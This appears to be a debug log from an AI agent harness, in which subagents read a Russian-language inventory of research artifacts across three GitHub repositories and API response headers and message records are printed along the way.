\"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:49.836Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:49.840Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:49.844Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:49.848Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:49.852Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:49.858Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:49.863Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:49.865Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:49.867Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:49.871Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:49.874Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:49.877Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:49.881Z] [STDOUT]   \"request-id\": \"req_011CfXMnWPuNqPjRS5CEVDbA\",\n[2026-09-29T07:45:49.886Z] [STDOUT]   \"traceresponse\": \"00-2b2539e84a9c582536c7c47a2cb8e70a-67fb11ad8a9c8f7b-01\",\n[2026-09-29T07:45:49.889Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:49.892Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:49.895Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:49.899Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:49.904Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:49.909Z] [STDOUT]   \"cf-ray\": \"a4295ed62cc529ad-FRA\",\n[2026-09-29T07:45:49.913Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:49.917Z] [STDOUT] [log_d041ef] response parsed {\n[2026-09-29T07:45:49.921Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:49.930Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:49.934Z] [STDOUT]   body: X {\n[2026-09-29T07:45:49.952Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:49.956Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:49.962Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:49.967Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:49.974Z] [STDOUT]     },\n[2026-09-29T07:45:49.982Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:49.992Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:49.998Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:50.005Z] [STDOUT]   },\n[2026-09-29T07:45:50.015Z] [STDOUT]   durationMs: 1044,\n[2026-09-29T07:45:50.021Z] [STDOUT] }\n[2026-09-29T07:45:50.761Z] [INFO] {\n[2026-09-29T07:45:50.761Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:50.761Z] [INFO]   \"message\": {\n[2026-09-29T07:45:50.761Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:50.761Z] [INFO]     \"id\": \"msg_011CfXMnRbAtdXK3ruYuoxrs\",\n[2026-09-29T07:45:50.761Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:50.761Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:50.761Z] [INFO]     \"content\": [\n[2026-09-29T07:45:50.761Z] [INFO]       {\n[2026-09-29T07:45:50.761Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:50.761Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:50.761Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:45:50.761Z] [INFO]     ],\n[2026-09-29T07:45:50.761Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:50.761Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:50.761Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:50.761Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:50.761Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:50.761Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:50.761Z] [INFO]       \"cache_creation_input_tokens\": 10610,\n[2026-09-29T07:45:50.761Z] [INFO]       \"cache_read_input_tokens\": 67044,\n[2026-09-29T07:45:50.761Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:50.761Z] [INFO]         \"ephemeral_5m_input_tokens\": 10610,\n[2026-09-29T07:45:50.761Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:50.761Z] [INFO]       },\n[2026-09-29T07:45:50.761Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:45:50.761Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:50.761Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:50.761Z] [INFO]     },\n[2026-09-29T07:45:50.761Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:50.761Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:50.761Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:50.761Z] [INFO]   },\n[2026-09-29T07:45:50.761Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:50.761Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:50.761Z] [INFO]   \"uuid\": \"dc4a5f1e-1976-4a2a-b0ad-67502f2ad30b\",\n[2026-09-29T07:45:50.761Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:50.754Z\",\n[2026-09-29T07:45:50.761Z] [INFO]   \"request_id\": \"req_011CfXMnQyUFtdGGZnruRBJ5\",\n[2026-09-29T07:45:50.761Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:50.761Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:45:50.761Z] [INFO] }\n[2026-09-29T07:45:50.774Z] [INFO] {\n[2026-09-29T07:45:50.774Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:50.774Z] [INFO]   \"message\": {\n[2026-09-29T07:45:50.774Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:50.774Z] [INFO]     \"id\": \"msg_011CfXMnWxPSXtJgyzcf4ADP\",\n[2026-09-29T07:45:50.774Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:50.774Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:50.774Z] [INFO]     \"content\": [\n[2026-09-29T07:45:50.774Z] [INFO]       {\n[2026-09-29T07:45:50.774Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:50.774Z] [INFO]         \"id\": \"toolu_01QZvcfuPDgDqHAefJ3j3LHK\",\n[2026-09-29T07:45:50.774Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:45:50.774Z] [INFO]         \"input\": {\n[2026-09-29T07:45:50.774Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/research/ba-requirements && sed -n '48,100p;136,160p' 2026-09-07-ecosystem-knowledge-inventory.md\",\n[2026-09-29T07:45:50.774Z] [INFO]           \"description\": \"Read inventory sections 1-3, 5.1\"\n[2026-09-29T07:45:50.774Z] [INFO]         },\n[2026-09-29T07:45:50.774Z] [INFO]         \"caller\": {\n[2026-09-29T07:45:50.774Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:45:50.774Z] [INFO]         }\n[2026-09-29T07:45:50.774Z] [INFO]       }\n[2026-09-29T07:45:50.774Z] [INFO]     ],\n[2026-09-29T07:45:50.774Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:50.774Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:50.774Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:50.774Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:50.774Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:50.774Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:50.774Z] [INFO]       \"cache_creation_input_tokens\": 1251,\n[2026-09-29T07:45:50.774Z] [INFO]       \"cache_read_input_tokens\": 70516,\n[2026-09-29T07:45:50.774Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:50.774Z] [INFO]         \"ephemeral_5m_input_tokens\": 1251,\n[2026-09-29T07:45:50.774Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:50.774Z] [INFO]       },\n[2026-09-29T07:45:50.774Z] [INFO]       \"output_tokens\": 20,\n[2026-09-29T07:45:50.774Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:50.774Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:50.774Z] [INFO]     },\n[2026-09-29T07:45:50.774Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:50.774Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:50.774Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:50.774Z] [INFO]   },\n[2026-09-29T07:45:50.774Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:50.774Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:50.774Z] [INFO]   \"uuid\": \"ca7dc325-7849-4b36-8be9-c1600d9074fa\",\n[2026-09-29T07:45:50.774Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:50.770Z\",\n[2026-09-29T07:45:50.774Z] [INFO]   \"request_id\": \"req_011CfXMnWPuNqPjRS5CEVDbA\",\n[2026-09-29T07:45:50.774Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:50.774Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:50.774Z] [INFO] }\n[2026-09-29T07:45:50.782Z] [INFO] {\n[2026-09-29T07:45:50.782Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:50.782Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:45:50.782Z] [INFO]   \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:50.782Z] [INFO]   \"tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:50.782Z] [INFO]   \"description\": \"Running Read inventory sections 1-3, 5.1\",\n[2026-09-29T07:45:50.782Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:50.782Z] [INFO]   \"usage\": {\n[2026-09-29T07:45:50.782Z] [INFO]     \"total_tokens\": 72052,\n[2026-09-29T07:45:50.782Z] [INFO]     \"tool_uses\": 21,\n[2026-09-29T07:45:50.782Z] [INFO]     \"duration_ms\": 81493\n[2026-09-29T07:45:50.782Z] [INFO]   },\n[2026-09-29T07:45:50.782Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:45:50.782Z] [INFO]   \"uuid\": \"c3c98dec-d962-483d-b676-c64cd97bc2bc\",\n[2026-09-29T07:45:50.782Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:50.782Z] [INFO] }\n[2026-09-29T07:45:51.967Z] [INFO] {\n[2026-09-29T07:45:51.967Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:51.967Z] [INFO]   \"message\": {\n[2026-09-29T07:45:51.967Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:51.967Z] [INFO]     \"content\": [\n[2026-09-29T07:45:51.967Z] [INFO]       {\n[2026-09-29T07:45:51.967Z] [INFO]         \"tool_use_id\": \"toolu_01QZvcfuPDgDqHAefJ3j3LHK\",\n[2026-09-29T07:45:51.967Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:51.967Z] [INFO]         \"content\": \"## 1. \u0420\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n**368 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0437\u043d\u0430\u043d\u0438\u044f** \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445.\\n\\n| \u0420\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 | \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 | \u0414\u043e\u043b\u044f | \u0420\u043e\u043b\u044c \u0432 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0435 |\\n| --- | --- | --- | --- |\\n| [`hybrid-Intelligence-lab`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab) | 251 | 68 % | \u0425\u0430\u0431: \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044f, \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f |\\n| [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts) | 64 | 17 % | \u0421\u043f\u0438\u0446\u0430: \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u0430\u044f \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0430 \u0411\u0410 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041a\u041a |\\n| [`clarify-engine-ai`](https://github.com/G-Ivan-A/clarify-engine-ai) | 53 | 14 % | \u0421\u043f\u0438\u0446\u0430: \u0434\u0432\u0438\u0436\u043e\u043a \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 (RAG) |\\n\\n## 2. \u0420\u0435\u0435\u0441\u0442\u0440 \u043f\u043e \u043a\u043b\u0430\u0441\u0441\u0430\u043c\\n\\n| \u041a\u043b\u0430\u0441\u0441 | \u0412\u0441\u0435\u0433\u043e | \u0425\u0430\u0431 | Mango | Clarify |\\n| --- | --- | --- | --- | --- |\\n| Research | 173 | 163 | \u2014 | 10 |\\n| Standard | 53 | 26 | 19 | 8 |\\n| RFC | 39 | 28 | 11 | \u2014 |\\n| ADR | 37 | 11 | 15 | 11 |\\n| Analysis | 31 | 13 | 7 | 11 |\\n| Audit | 21 | 6 | 9 | 6 |\\n| Backlog | 7 | \u2014 | \u2014 | 7 |\\n| Report | 7 | 4 | 3 | \u2014 |\\n\\n\u0422\u0440\u0438 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0438\u0437 \u0442\u0430\u0431\u043b\u0438\u0446\u044b, \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0435 \u0434\u043b\u044f \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438:\\n\\n1. **\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u044b \u0432 \u0425\u0430\u0431\u0435** (163 \u0438\u0437 173). \u0421\u043f\u0438\u0446\u044b \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u044f\u0442\\n   \u0440\u0435\u0448\u0435\u043d\u0438\u044f (ADR/RFC) \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b, \u043d\u043e \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u044f\u0442 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0433\u043e \u0437\u043d\u0430\u043d\u0438\u044f \u2014\\n   \u0443 Mango \u043a\u043b\u0430\u0441\u0441 Research \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438.\\n2. **\u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b \u0440\u0430\u0441\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u044b** (26 / 19 / 8). \u041d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0441\u043b\u043e\u0439 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\\n   \u0442\u0440\u0451\u0445 \u043c\u0435\u0441\u0442\u0430\u0445 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e; \u043d\u0438 \u043e\u0434\u0438\u043d \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043d\u0435 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u0438\u0445 \u0432\\n   \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f.\\n3. **\u0420\u0435\u0448\u0435\u043d\u0438\u0439 \u0431\u043e\u043b\u044c\u0448\u0435, \u0447\u0435\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439, \u0432 \u043e\u0431\u0435\u0438\u0445 \u0441\u043f\u0438\u0446\u0430\u0445.** \u0423 Mango 26 ADR+RFC\\n   \u043f\u0440\u043e\u0442\u0438\u0432 7 Analysis; \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0442\u0441\u044f \u0431\u044b\u0441\u0442\u0440\u0435\u0435, \u0447\u0435\u043c \u043d\u0430\u043a\u0430\u043f\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f\\n   \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430.\\n\\n## 3. \u0420\u0435\u0435\u0441\u0442\u0440 \u043f\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u0430\u043c\\n\\n| \u0421\u0442\u0430\u0442\u0443\u0441 | \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 | \u0414\u043e\u043b\u044f |\\n| --- | --- | --- |\\n| `draft` | 242 | 65,8 % |\\n| \u0431\u0435\u0437 frontmatter | 53 | 14,4 % |\\n| `accepted` | 41 | 11,1 % |\\n| `proposed` | 17 | 4,6 % |\\n| `canonical` | 7 | 1,9 % |\\n| `reviewed` | 5 | 1,4 % |\\n| `superseded` / `review` / `complete` | \u043f\u043e 1 | 0,8 % |\\n\\n**\u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u0444\u0430\u043a\u0442 \u0434\u043b\u044f \u0424\u0422-2.** \u0414\u043e\u043b\u044f \u0437\u043d\u0430\u043d\u0438\u044f, \u0434\u043e\u0448\u0435\u0434\u0448\u0435\u0433\u043e \u0434\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u00ab\u043f\u0440\u0438\u0433\u043e\u0434\u043d\u043e \u043a\u0430\u043a\\n\u043d\u043e\u0440\u043c\u0430\u00bb (`canonical` + `accepted`), \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 **48 \u0438\u0437 368 \u2014 13 %**. \u0412\u0441\u0435 53\\n\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0431\u0435\u0437 frontmatter \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0442 `clarify-engine-ai`: \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043d\u0435\\n\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d \u043a \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 frontmatter \u0425\u0430\u0431\u0430\\n([`standards/frontmatter-docs-standard.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/frontmatter-docs-standard.md)),\\n\u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0435\u0433\u043e \u0437\u043d\u0430\u043d\u0438\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u043e \u043d\u0435\u043e\u0442\u043b\u0438\u0447\u0438\u043c\u043e \u043f\u043e \u0437\u0440\u0435\u043b\u043e\u0441\u0442\u0438.\\n## 5. \u0422\u043e\u043f\u043e\u043b\u043e\u0433\u0438\u044f\\n\\n\u0413\u0440\u0430\u0444 \u0441\u0441\u044b\u043b\u043e\u043a \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u0440\u043f\u0443\u0441\u0430: **3361 \u0440\u0435\u0431\u0440\u043e**, \u0438\u0437 \u043d\u0438\u0445 **200 \u2014 \u043c\u0435\u0436\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u043d\u044b\u0435**,\\n**19 \u0443\u0437\u043b\u043e\u0432 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b** (\u043d\u0438 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0445, \u043d\u0438 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0440\u0451\u0431\u0435\u0440 \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u0440\u043f\u0443\u0441\u0430).\\n\\n### 5.1. \u041c\u0435\u0436\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u043d\u044b\u0435 \u0441\u0432\u044f\u0437\u0438 \u0430\u0441\u0438\u043c\u043c\u0435\u0442\u0440\u0438\u0447\u043d\u044b\\n\\n| \u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 | \u0420\u0451\u0431\u0435\u0440 |\\n| --- | --- |\\n| `mango` \u2192 `hub` | 81 |\\n| `hub` \u2192 `mango` | 31 |\\n| `hub` \u2192 `clarify` | 1 |\\n| `clarify` \u2192 `hub` | 0 |\\n| `clarify` \u2192 `mango`, `mango` \u2192 `clarify` | 0 |\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u00ab\u0425\u0430\u0431 \u2014 \u0441\u043f\u0438\u0446\u0430\u00bb \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f Mango: \u0441\u043f\u0438\u0446\u0430 \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0425\u0430\u0431 \u0432 2,6 \u0440\u0430\u0437\u0430 \u0447\u0430\u0449\u0435, \u0447\u0435\u043c \u0425\u0430\u0431 \u043d\u0430 \u043d\u0435\u0451, \u2014 \u044d\u0442\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0442\u043e\u043f\u043e\u043b\u043e\u0433\u0438\u044f \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\\n\u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438. \u0423 `clarify-engine-ai` **\u043a\u0430\u043d\u0430\u043b \u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442**: \u043e\u0434\u043d\u0430\\n\u0432\u0445\u043e\u0434\u044f\u0449\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u0438 \u043d\u0438 \u043e\u0434\u043d\u043e\u0439 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0439, \u0442\u043e \u0435\u0441\u0442\u044c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043d\u0435 \u0446\u0438\u0442\u0438\u0440\u0443\u0435\u0442\\n\u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044e \u0425\u0430\u0431\u0430 \u0438 \u043d\u0435 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0437\u043d\u0430\u043d\u0438\u0435 \u0432 \u043d\u0435\u0433\u043e.\\n\\n> **\u0427\u0442\u043e \u044d\u0442\u043e\u0442 \u043d\u043e\u043b\u044c \u0437\u043d\u0430\u0447\u0438\u0442 \u0438 \u0447\u0435\u0433\u043e \u043d\u0435 \u0437\u043d\u0430\u0447\u0438\u0442.** \u041d\u043e\u043b\u044c \u2014 \u043c\u0435\u0442\u0440\u0438\u043a\u0430 **\u0446\u0438\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f**, \u0430 \u043d\u0435\\n> \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f. \u0418\u0437 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0440\u0451\u0431\u0435\u0440 \u043d\u0435 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u043d\u0438\u044f, \u0438\\n> \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0442\u044c \u043e\u0434\u043d\u043e \u0434\u0440\u0443\u0433\u0438\u043c \u043d\u0435\u043b\u044c\u0437\u044f: \u044d\u0442\u043e \u0441\u0443\u0437\u0438\u043b\u043e \u0431\u044b \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440 \u0442\u0435\u043c\u044b \u043f\u043e \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u043c\u0443\\n> \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0443. \u0421\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u043d\u0435\u0441\u0435\u043d\u0430 \u0432 \u00a75.3.\",\n[2026-09-29T07:45:51.967Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:51.967Z] [INFO]       }\n[2026-09-29T07:45:51.967Z] [INFO]     ]\n[2026-09-29T07:45:51.967Z] [INFO]   },\n[2026-09-29T07:45:51.967Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:51.967Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:51.967Z] [INFO]   \"uuid\": \"af887a1a-7856-4f31-8c0c-0b52b2159e1d\",\n[2026-09-29T07:45:51.967Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:51.963Z\",\n[2026-09-29T07:45:51.967Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:51.967Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:51.967Z] [INFO] }\n[2026-09-29T07:45:52.008Z] [STDOUT] [log_debf8c] sending request {\n[2026-09-29T07:45:52.013Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:52.018Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:52.030Z] [STDOUT]   options: {\n[2026-09-29T07:45:52.035Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:52.040Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:52.050Z] [STDOUT]     body: {\n[2026-09-29T07:45:52.065Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:52.071Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:52.074Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:52.077Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:52.083Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:52.087Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:52.096Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:52.101Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:52.110Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:52.114Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:52.126Z] [STDOUT]       diagnostics: [Object 